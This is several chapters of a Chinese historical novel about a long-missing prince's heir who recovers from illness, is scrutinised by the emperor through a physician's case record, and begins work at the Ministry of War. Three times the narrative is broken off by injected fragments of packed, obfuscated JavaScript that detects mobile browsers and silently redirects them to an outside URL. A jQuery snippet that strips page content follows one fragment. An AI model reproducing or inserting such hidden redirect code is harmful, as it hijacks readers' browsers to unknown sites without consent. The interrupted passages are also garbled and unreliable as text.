朱珍珍忌日过后,年便一日一日近了。 顺天的雪没有再下大,只零零散散飘过几回。王府屋檐上的旧雪还没化尽,廊下已经挂起了新换的灯。前院洒扫得比往日勤些,门上贴了新的桃符,厨房里从早到晚冒着热气,仆妇们来来回回,手里不是提着米面,就是端着刚蒸好的糕。 明亲王府许久没有这样热闹过了。 朱珍珍死后,这座府邸像是从根上冷了一截。王爷不常在府里,世子年少时又常在宫中读书,后来更是离京游历,一去多年不见踪影。府里规矩还在,月例还发,年节也照旧办,可人心里总像少了个要盼的人。 今年不同。 世子回来了。 虽说是病着回来的,虽说听雪斋里药味还没散净,虽说太医隔几日还要来诊脉,可人总归坐在府里。王府上下说话做事都比从前轻快些,连厨房炖汤时,管事娘子都特意嘱咐:“做得软烂些,别太油,世子病后吃不得重。” 陆云逸听见这话时,正坐在窗下看一本旧书。 她抬眼看了看萍儿。 “我不过病了一场,倒叫全府的人都跟着学起养生了。” 萍儿正在挑年节要赏下去的荷包,闻言头也不抬。 “你若肯好好吃饭,别人也不用这么费心。” 陆云逸笑了笑,没有争。 她这些日子确实吃得比离京前少,睡得也浅,但已比刚回府时已经好了许多。颜淞说她神气渐稳,药可以慢慢减。萍儿听了这话,心里才略宽些,却仍不敢大意。过年这样热闹的时候,她更怕陆云逸被人声、灯火、旧事一激,又头疼起来。 宫里照旧要办年宴。 往年陆云逸只要人在京城,便要跟着陆棣铭入宫。宗室子弟,没有随意缺席的道理。年宴上,座次、酒礼、乐舞、朝贺,一样接一样,从黄昏坐到夜深。小的时候,她只觉得宫宴无聊。桌上的菜精致,却早已凉了;殿里香气重,人声也重;人人说话都像隔着一层笑。 长大后才懂,那种无聊本身也是规矩的一部分。 一个人坐在那里,不能随意看,不能随意笑,不能随意累,不能随意厌烦。 皇帝在上头,宗亲在下头。 所有人都要在那一夜显得太平、恭顺、亲厚,仿佛一年里那些猜疑、争执、弹劾和算计,都可以被几盏宫灯照得干干净净。 今年她病了,倒有了不用入宫的理由。 皇帝也没有强诏,只遣内侍送了些年礼来,又传话说,让小王爷安心在府里养病,不必勉强赴宴。 内侍走后,萍儿把礼单收好。 陆云逸看着那几只宫中赏下来的匣子,轻声说:“病也有病的好处。” 萍儿看了她一眼。 “别拿自己的身子说笑。” 陆云逸便笑着闭了嘴。 除夕这日,陆棣铭仍要入宫。 他来听雪斋看陆云逸时,天还没黑。外头已经有下人在廊下挂灯,红纸灯笼被风吹得轻轻晃。陆棣铭穿着入宫的素贵常服,腰间玉带整齐,神色一如往常。 他站在屋里,看了陆云逸片刻。 “夜里别熬太久。” 陆云逸道:“知道。” 陆棣铭又看向萍儿。 “别让他吃冷食。” 萍儿应下。 陆棣铭似乎还想说什么,可话到嘴边,又咽了回去。最后只道:“若不舒服,让人即刻去太医院。” 陆云逸点头。 “父王放心。” 陆棣铭听见这四个字,眼神微微动了一下。 他没有再多留,转身出了听雪斋。 陆云逸坐在原处,听着外头脚步声慢慢远去。 萍儿把手炉塞进她怀里。 “王爷心里惦记你。” 陆云逸低头看着手炉上的铜纹。 “我知道。” 她是真的知道了。 若是从前,她或许只会觉得父亲冷淡。如今再看,才知道陆棣铭许多年的冷淡里,藏着太多不能明说的顾忌。他不敢太亲近,不敢太疼爱,也不敢让旁人看出这个孩子是他的软肋。 可是孩子总是长大后才能明白父母的苦心。 入夜后,府里放了爆竹。 噼里啪啦一阵响,把檐下的雪震落了几团。小丫鬟们在院外笑,又很快被管事嬷嬷压低声音训了几句,说听雪斋里世子还病着,不许大喊大叫。可那笑声还是透进来一些。 陆云逸听着,忽然觉得好。 王府里总该有些笑声。 这些年,这里实在太静了。 萍儿让人摆了年夜饭。 没有宫宴那样铺张,却也比平日丰盛。炖得软烂的鸡,清蒸鱼,几样素菜,一碗热汤面,还有厨房特意做的蜜糕和瘦肉羹。萍儿本不想摆得太满,怕陆云逸看着没胃口。可陆云逸看见那碗瘦肉羹,还是多吃了几口。 萍儿瞧见了,眼里有一点笑意。 “王妃从前也爱吃这个。” 陆云逸道:“那今日我替她多吃两口。” 萍儿低头盛汤,没有说话。 饭后,府里按例给下人发赏。 从前这些事多由管事办了便算,今年陆云逸却让人把各处管事都叫到前院,自己坐在廊下看了一会儿。她身上披着厚氅,手里抱着手炉,脸色仍白,却比前些日子精神许多。 管事们一个个上前磕头领赏,嘴里说着给世子拜年。有人年纪轻,是这几年才进府的,偷偷抬眼看她,像看一个从传闻里走出来的人。 陆云逸知道他们为什么这样看她。 她离京游历了数年。 刚出门时,身边原本有两个远随。 那是陆棣铭在她出门前便安排好的,说是随从,其实多半是护卫。他们不近身打扰,只远远跟着,遇险时才会现身。陆云逸那时也知道,跟着她的未必只有父亲的人。她是明亲王府的小王爷,又自幼在宫中受教,走到哪里,暗处总不会完全干净。 只是到了姑苏以后,那两个远随便再也没能跟上她。 从那之后,明亲王府便断了她的消息。 一开始,府里还以为她只是贪玩,或是故意避开随从,过几日总会传信回来。后来一月,两月,半年,一年,仍没有半点音信。那些奉命寻找的人一批一批出去,又一批一批回来,只带回一些不着边际的传闻。 陆云逸向从世上消失了一样。 驿站、州府、关卡,谁也没见过明亲王府的小世子。 一年过去,有人说她大约是死在了路上。 两年过去,连这话都没人敢明说了。 三年过去,府里新来的下人只知道王府有位世子,却不知道世子到底还会不会回来。老仆们不敢在萍儿面前提起世子,可背地里看见她每年仍让人收拾世子要住的屋子,心里也都发酸。 明亲王府的小世子离京游历,远随跟丢,又多年无信,天下这么大,乱处这么多,一个年轻人若真死在外头,也不是没有可能。 萍儿从不许自己这样想。 陆棣铭也不许府里人这样想。 可不想,不等于不怕。 直到后来,陆云逸重新用了王府的身份。 有时是过州县关卡,有时是调驿马,有时是让地方官府验过腰牌开路。她一亮出明亲王府的信物,消息便从州府、驿站、关口,一层一层往京里递。京城这才知道,那个失踪数年的小王爷还活着。 活着。 只是没人知道她这几年究竟去了哪里,又遇见了什么。 后来她回府,给出的解释是病了。 病中浑浑噩噩,许多事记不清,也不知自己怎么到了那些地方。她说得很像连自己都困在一团雾里。颜淞听了,便记在病案里;萍儿听了,只觉得心像被一只手攥住;陆棣铭没有多问,只沉默了很久。 这个解释,至少能解释一部分。 能解释她为何多年无信,能解释她为何行踪断裂,也能解释她后来那些支离破碎的回忆和分不清真假的故事。 王府里的人看她时,眼神便都有些不一样。 像看一个失而复得的人。 也像看一个从许多说不清的地方走回来的人。 一个老管事领完赏,磕头时声音发哽:“世子回来就好。” 陆云逸看着他花白的头发,一时没有说话。 过了片刻,她道:“这几年,府里辛苦你们了。” 老管事连忙道不敢。 可他退下去时,袖子还是在眼角擦了一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“抱歉,我病了。”她轻声道,“很多事记不清。” 萍儿看着她。 这话她已经听过很多回。 颜淞听过,王爷听过,府里人也都听过。 萍儿不知该信几分。 她知道陆云逸确实病了,也知道她许多记忆乱得厉害。可有时候,她又觉得这个孩子仍像从前一样,知道什么该说,什么不该说,知道该给旁人一个能接受的说法。 萍儿没有拆穿。 也没有追问。 人已经回来了。 许多责怪和疑问,便都显得无关紧要。 她只低声说:“以后别一个人扛那么久。” 陆云逸没有立刻答应。 因为她知道,有些事未必能答应。 她这一生要走的路,也许还会有许多不能告知旁人的时候。 可在这个除夕夜,她不想说那些。 她只轻轻点了一下头。 “好。” 萍儿明知这个“好”未必靠得住,却还是愿意信一信。 窗外,远处的爆竹又响了一阵。 新岁快到了。 这世上有许多人在这一夜许愿。愿来年无病无灾,愿家人平安,愿官运亨通,愿买卖顺利,愿远行的人归家。 陆云逸没有许愿。 她只是坐在灯下,听着王府里久违的热闹声,忽然觉得自己像从很远的地方回来,终于在旧年的最后一夜,短短地做了一回家里的人。 不是世子。 不是病人。 不是棋子。 也不是依靠。 只是萍儿守着的孩子。 只是明亲王府失而复得的人。 这念头很小,也很危险。 因为人一旦知道有地方可以回,往后再离开时,心里便会多一根扯不断的线。 可陆云逸还是低头,把那盏热酪喝完了。 41.丹宸阅案试医心 日子一天天过去,陆云逸的病也渐渐稳了。 颜淞再来听雪斋时,已经不像最初那样时时皱眉。他诊脉的时间仍旧很长,问得也细,夜里睡得如何,梦多不多,头疼在什么时候发作,吃饭可有胃口,说起旧事时胸口是否发闷。 陆云逸一一答了。 她近来夜里睡得比先前安稳。偶尔仍会做梦,可醒来后不至于浑身冷汗。再想起林鸯鸯、叶开阳那些事,也不像刚回府时那样支离破碎。只是说得久了,仍会倦。 颜淞收回手,低头想了片刻,才道:“殿下的药,可以停了。” 萍儿在一旁抬头:“不必再喝了?” “暂时不必。”颜淞说,“是药三分偏。殿下如今脉象已稳,神气虽未全复,却不宜再用药压着。往后还是以静养为主,少劳神,少受惊,饮食清淡些,睡眠比药更要紧。” 陆云逸听见不用喝药,倒没有显出多少高兴。 她只是笑了一下:“颜太医这话,听着比药方顺耳。” 颜淞也笑了笑。 “能不吃药,总是好事。” 萍儿却仍不放心。 “若夜里再惊醒呢?” “先记下来。”颜淞道,“若只是偶然,不妨事。若连着几夜如此,再使人来太医院找我。” 萍儿点头。 颜淞收拾药箱时,又看了陆云逸一眼。 这段时日,他听过太多故事。那些故事里有青楼女子,有荒年孩子,有江湖路上的风雨,也有王府里不能轻易碰的旧事。陆云逸说起这些时,有时平静,有时头疼,有时像看见另一个人站在自己眼前。 颜淞是医者。 他知道人心受过大创之后,确会生出许多旁人难以明白的症状。可他也知道,明亲王府的小王爷不是普通病人。他每说一句判断,都可能被送到御前,成为皇帝判断这个人的依据。 所以颜淞写病案时,比往常更谨慎。 那一份病案写了整整数页。 从初诊时的神思恍惚、惊惧易醒,到后来陆云逸自述“林鸯鸯”“叶开阳”二事,再到病情渐稳之后的脉象变化、药方加减、夜梦情形,他都逐条记下。哪些是他亲眼所见,哪些是陆云逸自己所言,哪些只是医理推断,他分得很清楚。 写完之后,他又誊抄了一遍。 墨迹干透时,天已经很晚。 颜淞坐在太医院值房里,看着案上那册病案,忽然觉得这几张纸比许多人的性命都沉。 数日后,他被召入宫。 召他的人来得并不突然。小王爷的病,本就是皇帝亲自过问的事。只是颜淞踏进宫门时,心里仍有几分发紧。 御书房里很安静。 陆棣昤坐在案后,正看一份边郡奏报。案上折子分得整齐,朱笔、墨笔、镇纸、茶盏各在各的位置。皇帝这个人,连忙碌都像有章法。颜淞进去行礼时,陆棣昤没有立刻抬头,直到把手中那一行看完,才合上奏报。 “起来。” 颜淞谢恩起身。 大太监站在一旁,接过颜淞递上的病案,双手呈到御案前。 陆棣昤翻开看。 屋里只有纸页被翻动的声音。 颜淞垂首站着,眼角余光只看见皇帝的手。那手指修长,翻页不急不慢,像是在看一份寻常文书。可颜淞心里明白,这不是寻常文书。 过了很久,陆棣昤才道:“他讲这些事时,神情如何?” 颜淞低声答:“回陛下,殿下初时多有痛苦、惊惧、疲惫之态。说到林鸯鸯之死时,情绪起伏尤为明显。说到叶开阳时,则多有头痛、记忆断裂之症。病情渐稳后,殿下可较为平静地叙述,但久谈仍会神疲。” 陆棣昤又问:“你觉得,他是真病了?” 颜淞喉间微紧。 这句话不好答。 若答真,便像替陆云逸担保。若答假,便是推翻自己这些时日的诊治。更何况,医者只能诊病,不能诊人心里所有隐秘。 颜淞沉默一瞬,跪下道:“臣不敢妄断殿下心中所藏。然依臣诊脉、问症与多日观察,殿下确有神思受创、梦魇惊悸、记忆混乱之症。此症非一日作伪可成。若说病,臣以为,殿下确是病了。” 陆棣昤看着他。 “非一日作伪可成。” 颜淞低头:“是。” “那若是数年呢?” 颜淞心头一跳。 御书房里静得厉害。 他知道皇帝问的不是病。 可他只能按医者所能答的来答。 “回陛下,人若有意摹仿病症,或可一时乱人耳目。可神气亏损、脉象浮沉、惊梦后的气血变化,非时时刻刻能装。殿下病中反应,多处与离魂分魄、惊悸失神之症相合。臣以医理观之,不似全然作伪。” 陆棣昤没有立刻说话。 他又翻了翻那册病案,目光停在某一页上。 “这些故事,你信几分?” 颜淞道:“臣只知病案,不敢论故事真假。” 陆棣昤淡淡看他一眼。 颜淞背后出了一层细汗。 好在皇帝没有再逼。 “退下吧。” 颜淞叩首。 “臣告退。” 颜淞退出御书房时,后背又出了一层薄汗。 殿外的风很冷。 他被内侍领着往外走,脚下的青砖被擦得干净,走在上头几乎没有声音。宫里总是这样,越要紧的地方越安静。颜淞走出一段后才发觉自己方才一直屏着气。 他是太医。 本该只看病。 可明亲王府小王爷的病,早已不是一桩单纯的病。 御书房里,陆棣昤没有立刻再翻奏折。 颜淞呈上的病案还放在案头。纸页压得平整,墨迹清楚。陆棣昤坐在那里,手指轻轻按在病案封面上,许久没有说话。 高怀忠站在一旁,也没有出声。 他是御前大太监,在陆棣昤身边伺候了二十多年。 宫里人都知道,高公公最懂皇帝。什么时辰该奉茶,什么时辰该换香,什么折子能先递,什么话不该在皇帝用膳前说,他心里都有数。陆棣昤不爱身边人多嘴,高怀忠便能一日只说几句必要的话;陆棣昤若偶尔问一句,他又能把话接得不轻不重。 可懂皇帝的人,往往也是最容易掉脑袋的人。 因为离得太近。 近到知道哪些神情是真平静,哪些平静底下压着怒;也近到有时候会错把皇帝一时的沉默,当成自己可以揣度的余地。 小王爷这件事,高怀忠始终摸不准。 皇帝待明亲王府的小王爷不同,这是宫里上下都知道的事。小时候亲自召入宫中读书,读的是皇子才读的书;问功课时,问得比对几位皇孙还细;赏罚也不避人。可皇帝越看重一个人,那个人便越危险。 高怀忠在宫里见得太多了。 一个人若只得宠,还不一定可怕。 怕的是皇帝对他既有情分,又有用处,还有疑心。 这三样东西搅在一起,便不是旁人能随意插嘴的事。 陆棣昤终于开口:“怀忠。” 高怀忠立刻躬身:“奴才在。” “病案同外头查到的消息,对过了?” “回陛下,已经对过。” 陆棣昤没有看他,只道:“说。” 高怀忠斟酌片刻,缓声道:“颜太医病案中记的几处地名、时节,大体与州府、驿站、关卡递回来的旧案相合。小王爷早年离京,先往东南去,广陵、姑苏一带,都有清楚痕迹。。” 陆棣昤道:“广陵?” “是。”高怀忠道:“广陵那边能查到这几件事,其一,小王爷确实曾在当地花过一千多两银子,数目不小,银票来往对得上王府的账目;其二,小王爷确实托当地官府替人改过户籍;其三,广陵知府说小王爷确实去过问过一桩女子失踪案。” 这些话,高怀忠都不添枝叶,也不多做推断。御前回话,最忌把查到的事说成自己想出来的故事。 陆棣昤道:“姑苏呢?” “姑苏也能对得上。” 高怀忠道,“小王爷到姑苏时,当地周边确有饥荒,那几年多处村落改种桑棉,口粮依赖外运,又恰逢米价互涨,地方上有些混乱。小王爷曾拿着王府身份去见过多位地方官,要求官府处理饥荒之事。” 高怀忠说到这里顿了顿。 “只是姑苏地势复杂,河道多,巷子秘,又赶上饥荒爆发,流民、米商、官差、船户混在一处,地方上本就乱。明亲王派去的两个远随便是在那时跟丢了。” 陆棣昤问:“他们后来如何回报?” 高怀忠低头道:“起初不敢回报,只在姑苏附近又找了月余。后来实在寻不到,才递了密信回京。明亲王当时只让他们继续查,不许声张。” 陆棣昤淡淡道:“棣铭倒沉得住气。” 这句话听不出喜怒。 高怀忠不敢接。 “别的人呢?” 高怀忠背后微紧。 他知道皇帝问的是什么。 明亲王派人护着小王爷,皇帝自然也不可能毫无安排,只是这些事不能明说。 他只道:“另几路人,也是在姑苏之后断的。” 陆棣昤没有说话。 高怀忠继续道:“姑苏之后,有三年左右,小王爷几乎没有再用过王府身份。州府查不到,驿站查不到,关津也查不到。后来再出现,是在西边几处关卡。小王爷用了王府腰牌调驿马,地方官这才知道人还活着,文书也随之递回京中。” 陆棣昤手指慢慢摩挲着病案封皮。 “这三年,他说自己记不清。” “是。” “颜淞信了?” 高怀忠不敢替颜淞答,只道:“颜太医以医理判断,小王爷确有记忆混乱、惊悸失神之症。病案中说,有些事殿下说得清楚,有些事一追问便头痛难续。” 陆棣昤道:“倒是会挑地方头痛。” 高怀忠心里一沉。 这话不好接。 他只能低声道:“殿下病中言行,确有许多不似寻常之处。” 陆棣昤看了他一眼。 “你觉得,他是真病了?” 高怀忠嘴唇动了动,一时没有答。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557620|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 御前最怕这种问法。 若皇帝问“颜淞怎么说”,那便照实说颜淞的判断。若皇帝问“病案怎么写”,那便逐字回病案。可皇帝问“你觉得”,便是把一条细绳递到他手里,让他自己走过去。 走对了,是懂圣意。 走错了,便是妄测。 高怀忠在宫里活了这么多年,靠的不是聪明到处卖弄,而是知道什么时候该让自己显得笨一点。 他躬身道:“奴才愚钝,不懂医理。” 陆棣昤道:“朕没问你医理。” 高怀忠心头一跳。 他知道躲不过去了。 他想了片刻,才道:“若只看颜太医病案,小王爷的病应当是真的。若看这些年踪迹,病案里说的许多地名、路程,也确实能对上。可若问这病里有没有旁的东西……奴才不敢说没有。” 陆棣昤听完,反倒笑了一下。 “你倒学会两边都不得罪了。” 高怀忠立刻跪下。 “奴才不敢。” 陆棣昤没有叫他起来。 高怀忠跪在御案前,额头低垂,心跳却很稳。他知道皇帝不是怒,至少不是现在怒。皇帝若真怒了,不会这样轻轻说一句。 陆棣昤看着他。 “怀忠,你在朕身边多少年了?” “回陛下,已有二十六年五个月。” “二十六年。”陆棣昤道,“你倒是比许多朝臣还待得久。” 高怀忠伏得更低:“奴才只是伺候陛下,不敢妄论朝政。” “伺候久了,便总会看见些别人看不见的东西。” 陆棣昤把病案翻开,停在其中一页。 那一页写着陆云逸自述林鸯鸯之事。颜淞记得细:言至此处,殿下神色惨然,指节发颤,久不能续。另旁注:悲恸非伪,然叙事间或有断裂,疑为创伤深重所致。 皇帝看了片刻,道:“一个人悲恸,便一定真实吗?” 高怀忠没有答。 陆棣昤像也不需要他答。 “朕年少时,见过许多人哭。”皇帝说,“有为父哭的,有为夫哭的,有为主哭的,也有为自己哭的。真哭假哭,有时看得出来,有时看不出来。可哭得真,不代表话都真。” 高怀忠跪在地上,不敢妄动。 皇帝继续道:“云逸说林鸯鸯死了,说叶开阳死了,说这两个人后来像附在他身上。颜淞信这是病。朕也可以信。” 陆棣昤把那几页纸慢慢合上。 “一个人若编故事,最怕凭空编。凭空编的东西,经不起查。可若拿真事做骨头,再往上添血肉,便难拆得多。” 御书房外的天光慢慢偏了。冬日昼短,申时一过,殿里的光便沉下来。宫人还未敢进来掌灯,只等外头报时。皇帝不喜欢早一点或晚一点,宫里所有人都习惯了照着他的时辰活。 陆棣昤忽然问:“棣铭那边有什么动静?” 高怀忠道:“明亲王近日仍照旧上朝,言语不多,与往常无异。” “与往常无异。”陆棣昤重复了一遍。 他与陆棣铭是双生兄弟。 这世上没有人比他更了解他的弟弟。 “云逸病了,棣铭心疼。” 高怀忠不敢说话。 陆棣昤道:“可朕不能只心疼。” 正当高怀忠想着该如何接话时,门外一个小太监轻步进来,跪在槛外。 那小太监年纪不大,是专管报时和传递日程的。 “陛下,申正了,兵部送来的西境边报已到东暖阁,枢密院两位大人也在偏殿候着。” 陆棣昤抬头。 时辰到了。 他的日程排得极严。 寅时起架,沐浴盥洗,卯时御门听政,批阅急折,辰时看内阁票拟,随后正式早膳,巳时召见六部,午后小憩两刻,处理几件不宜在朝臣面前议的私密事务。申时一到,便要看边报与军务;酉时前用晚膳,晚膳之后再批积压下来的奏折。 宫里人都知道,皇帝严于律人,更严于律己。 不是今日如此,而是多年如此。宫里伺候的人都知道,皇帝最不喜无故拖延。什么事归什么时辰,什么折子入什么匣,什么人在哪一刻候见,都有定数。若是军国大事,自然可破例;可若只是能暂缓的疑案,哪怕牵涉他亲自教养过的陆云逸,也不能压过边境军务。 这也是高怀忠最怕他的地方。 他不是一时勤政,也不是做给朝臣看的勤政。他把自己也收进规矩里。几十年如一日,吃饭不能拖,看折不能拖,召臣不能拖,连休息也不能凭性情多躺片刻。 一个连自己都能管得住的人,要管别人时,便更不会手软。 陆棣昤合上病案。 “先收起来。” 高怀忠上前,双手捧起病案,放入御案旁的紫檀匣中。 陆棣昤站起身。 “此事之后再议。” 高怀忠躬身:“是。” 皇帝往外走去。 殿门打开,冷风从门缝里灌进来,又很快被内侍挡住。冬日天短,偏西的日光在青砖上落下一道窄而冷的亮痕。 42.兵曹乍检勘戎勋 年过以后,陆云逸的身子一日比一日稳了。 听雪斋里的药味慢慢淡下去。最初几日,萍儿还照旧让人把药炉备着,后来颜淞又来诊过一回,说脉象平稳,夜里若能安睡,便不必再用药了。萍儿听完,脸上没有立刻露出喜色,只细细问了许多饮食起居上的忌讳。颜淞一一答了,最后说,药停了不是病全没了,还是要静养,不能劳神。 这话陆云逸听见了,却没有照做得太好。 她在府里确实过得比前些日子舒坦。每日清早起来,在院中慢慢走几圈。起初萍儿不许她练武,怕她气血未复,她便只伸展筋骨,后来身上有了力气,才在王府那处小校场里打几趟极慢的拳。她从前身形就不魁梧,病后更显得清瘦,可一旦动起来,骨架里那点旧日练出来的利落还在。 王府的人见了,都觉得安心。 病中的世子像随时会被一阵风吹散,如今至少看着像活回来了。 只是陆云逸自己知道,有些东西不是一场病退了便真的过去。她有时夜里仍会醒,醒来后睁着眼看屋顶,看很久。她不喊人,也不惊动萍儿。直到窗外天色微微发白,她才起身洗漱,照旧吃饭,照旧说话,照旧做那个已经病愈的小王爷。 年后不久,宫里便有旨意下来。 旨意不长,说明亲王府世子游历归来,见闻较广,既已在府中歇养多日,便到兵部武选司行走,先学些军政文书。差事不重,不掌印,不独管一事,只跟着司里官员看旧档、核履历、听议事。 明眼人都看得出来,这是皇帝在让她重新入朝。 陆云逸离京时才十四岁,回来已是二十多。她这些年走过许多地方,见过许多人,可那些都不算朝廷资历,宗门子弟若要真正办事,总得从衙门做起,从文书、条目、人情往来里慢慢认。 武选司掌武官铨选、军功勘验、补缺调任,平日里看着都是官名、履历、军功册和各地呈来的保举文书。真正的兵马不在这里,刀枪血火也不在这里,可天下许多武官的前程,先要在这一间间衙署里变成纸上的几行字。 陆云逸头一日到兵部,天还冷着。 衙门外的石狮子被雪水洗过,颜色发暗。门前进出的人不少,有穿官服的,也有外地来的武官。几个差役在门房边烤火,看见明亲王府的车架停下,忙把手从袖子里抽出来,迎上前请安。 来接她的是武选司郎中常砚。 常砚四十余岁,身量不高,脸上有点肉,看着和气。他笑起来眼角有细纹,像个常年在案牍前磨脾气的人。 “殿下头一日来,不着急办事。司中旧例多,文书也杂。陛下让殿下来行走,是体恤殿下久不在京,先熟一熟衙门里的办事法子。” 陆云逸道:“劳常郎中费心。” 常砚笑道:“不敢。殿下愿意问,下官自然知无不言。若有说得不周的地方,还请殿下包涵。” 兵部衙门不像王府,也不像宫里。王府讲究清净,宫里讲究威严,兵部则是处处忙乱里攒出来的规矩。廊下对着几口木箱,上头贴着封条,墙边放着长条凳,几个外地武官坐在那里等待,小吏抱着文书来回穿梭,走得快了,袖子都带风。 武选司在东边一排屋子里。 屋中一半是案,一半是柜。柜上贴着旧签,有的字迹已经发黄。什么京营、边镇、军功、阵亡、袭替、保举,分得很细。屋里还烧着炭,却不算暖,纸和墨的味道压着炭气,久坐的人大约早已闻不出来。 常砚给陆云逸安排了一张靠窗的案。 “殿下先看这几本。”他把几册书放在案上,“都是武职通例,看着枯燥些,可后头文书都从这里来。” 旁边有个年轻主事起身行礼。 常砚介绍到:“这是范谦。旧档多归他管,殿下要查什么,可叫他找。” 范谦年纪不大,二十七八岁,眉眼清正,脸上还有几分年轻人的拘谨。他朝陆云逸行礼时,眼神里带着一点好奇。 京中传了许久的小王爷,离京多年。谁都听过她在外游历的事,也听过她当年在宫里受皇帝教导。如今人站在眼前,倒不像传闻里那样张扬,反而清瘦安静,眉眼里有几分淡倦。 “殿下今日先看这几册。”常砚道,“若看得乏了,只管让人添茶。” 陆云逸坐下,翻开第一册。 册子上写着武官选补的旧例。某等官缺由何处举荐,军功如何核验,父亡子袭要递哪些文书,伤退者何时入册,边镇空缺何时由兵部发咨。字句不难,却零碎得很。她看了半个时辰,便知道这差事不靠机灵,靠耐心。 快到午前,常砚拿了几份履历过来。 “殿下试着看一看。京营有一名把总缺,底下推了三个人。殿下不必定夺,只看看他们资历。” 陆云逸接过。 三份履历都写得齐整。 第一人年资最长,没什么大功,也没什么错。第二人有两次守城功,但前一年因伤误过一次点卯。第三人背后保举的人最多,履历却薄。 陆云逸看完,放在案上。 常砚问:“殿下觉得如何?” 陆云逸道:“若按旧例,第一人最合适。” 常砚点点头。 “司里多半也这样拟。” 范谦在旁边忍不住道:“可第二人的功劳更实在些。” 常砚看了他一眼。 范谦立刻闭嘴。 陆云逸看向范谦:“范主事觉得第二人更该补?” 范谦尴尬笑了笑:“下官只是随口一说。” 常砚道:“年轻人总觉得有功便该升。可衙门办事不能只看一处。伤后误点卯,虽有缘由,营中也记了过。若越过年资最长的人补他,前头那位必然不服。到时候上头还要再查,再问,再覆。一个把总缺,拖上两个月也不是没有过。” 陆云逸没有反驳。 常砚说得很对。 这不是清浊分明的大案。谁上都说得过去,谁不上也都有理由。兵部每日办的,许多就是这种事。 午间,武选司众人在衙门里用饭。 饭菜简单,米饭算不上精细,羊肉汤里有几片肉。陆云逸本可以回王府,但常砚留她,她便也坐下了。众人起初有些拘谨,后来见她也随和,才慢慢说起话来。 一个员外郎叫蒋维国,四十多岁,嗓门比旁人大些,原先做过多年书吏,熟悉兵部里许多旧规矩。他问陆云逸:“殿下在外走了这些年,想必见过不少州郡,如今再回京,怕是不习惯。” 陆云逸道:“京里也有京里的好。” 蒋维国道:“京里的好,多半是饭热乎、路平、夜里不用怕客栈黑店。” 范谦听得笑了。 常砚道:“蒋大人当着殿下说黑店,也不怕殿下笑话。” “这有什么。”蒋维国喝了口汤,“我没出过几趟京,知道外头什么样,还是听押送文书的差役说的,他们说边地有些逆旅,墙上挂的刀比锅铲还多。” 陆云逸笑了笑:“有些地方确实如此。” 吃到一半,外头小吏送进来一份旧册,说是内库那边找到了早年一批军官履历,问武选司是否收回。范谦接过来翻了一下,脸色稍微变了,随手合上。 蒋维国眼尖:“怎么了?” “没什么,几份二十几年前的旧补录。” 常砚接过册子看了一眼,便放到旁边。 “用不着翻,送去封存处。” 二十几年前,也就是先皇驾崩、诸王夺位、宫中流血之年,许多人死在那年,许多名字从官册里消失。卫慬就是在那年被定为反逆,连带着许多旧部被清洗、降调。 这些往事没人会再提起。 “殿下尝尝这汤。”常砚把册子压在手边,继续招呼陆云逸吃饭,仿佛方才只是司里再寻常不过的小事,“今日难得不咸。” 蒋维国顺着笑到:“殿下别嫌简薄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560497|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。兵部膳房这手艺,能把羊肉汤做成这样,已经算过年。” 饭桌上重新有了笑声。 陆云逸看了那本被压住的旧册一眼。 那册子边角泛黄,绳线已经松了。常砚的手放在上面,袖口遮住了其余字迹。 蒋维国继续岔开话题,笑道:“殿下如今既回京办差,想来以后是要常在京里了?” 陆云逸道:“陛下有命,自然听命。” 蒋维国笑得更热络了些。 “那可是好事。殿下离京时年纪小,如今回来,已是该成家立业的岁数了。” 范谦低头吃饭,眼里却闪过一点笑。 常砚也没有拦。 这种话,在官场饭桌上并不算失礼。宗室子弟二十多岁未婚,本就是稀罕事。陆云逸又生得清贵,皇帝宠信,明亲王府门第更不必说。谁家若有女儿能入王府,那便是一步登天。 蒋维国半真半假地道:“下官家中倒有个侄女,年方十六,虽不敢说高攀王府,倒也自幼读书,性情温顺。若殿下府上哪日相看人家,下官厚着脸皮,也想递个名。” 陆云逸放下碗,笑了笑。 “蒋大人这是第一日见我,便要给我做媒?” 蒋维国大笑。 “殿下莫怪。衙门里做久了,见谁到了年纪没成亲,都忍不住替人操心。范主事没成婚时也被我说过好几回。” 范谦忙道:“下官可不敢同殿下比。” 常砚笑道:“蒋大人家中女眷多,见不得人拖婚事。殿下莫往心里去。” 陆云逸道:“蒋大人好意,我记下了。只是我这些年在外耽搁太久,许多事还没料理明白,婚事也不敢草率。” 蒋维国是官场老人,立刻听懂,笑着点头。 “是,是。婚姻大事,自然不能草率。只是殿下年纪在这里,京中惦记的人恐怕不少。下官今日不说,明日也有别人说。” 常砚道:“这话倒是真的。殿下如今回京,少不得有人上门打听。王爷怕是要忙了。” 陆云逸笑意不变。 “父王未必愿意忙这个。” 蒋维国道:“天下父母,哪有不操心儿女婚事的?明亲王看着不在意,心里未必不急。” 陆云逸垂下眼,淡淡笑了笑。 